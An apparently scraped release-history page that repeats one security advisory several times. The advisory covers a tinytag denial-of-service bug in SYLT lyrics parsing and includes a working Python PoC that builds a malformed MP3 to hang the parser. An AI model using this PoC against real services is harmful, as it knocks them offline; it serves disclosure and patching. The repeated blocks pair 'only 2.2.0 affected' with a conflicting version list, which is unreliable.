SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Aug 28, 2021

1.5.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Nov 05, 2020

1.4.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 23, 2020

1.3.1 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 09, 2020

1.2.2 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 13, 2019

1.2.1 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 13, 2019

1.2.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
